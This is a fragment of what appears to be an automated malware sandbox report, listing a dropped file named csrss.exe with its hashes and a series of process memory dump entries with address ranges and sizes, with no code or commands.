b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5

Download Submit
\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
4e65a4077f352f0d56a54e87fa5e39b2

SHA1
905fdd590c50ef59b1a33ab8d8dd8b10d48b976d

SHA256
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539

SHA512
b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5

Download Submit
memory/832-77-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/832-76-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/832-74-0x0000000003440000-0x000000000387C000-memory.dmp

Filesize
4.2MB

Download
memory/832-72-0x0000000003440000-0x000000000387C000-memory.dmp

Filesize
4.2MB

Download
memory/832-70-0x0000000000000000-mapping.dmp

Download
memory/1016-65-0x0000000000000000-mapping.dmp

Download
memory/1016-67-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

Filesize
8KB

Download
memory/1656-60-0x00000000033D0000-0x000000000380C000-memory.dmp

Filesize
4.2MB

Download
memory/1656-66-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1656-63-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1656-62-0x00000000033D0000-0x000000000380C000-memory.dmp

Filesize
4.2MB

Download
memory/1656-73-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1884-61-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1884-54-0x00000000031A0000-0x00000000035DC000-memory.dmp

Filesize
4.2MB

Download
memory/1884-59-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1884-58-0x00000000035E0000-0x0000000003F06000-memory.dmp

Filesize
9.1MB

Download
memory/1884-57-0x0000000000400000-0x000000000302B000-memory.dmp

Filesize
44.2MB

Download
memory/1884-56-0x00000000035E0000-0x0000000003F06000-memory.dmp

Filesize
9.1MB

Download
memory/1884-55-0x00000000031A0000-0x00000000035DC000-memory.dmp

Filesize
4.2MB

Download
memory/1892-64-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads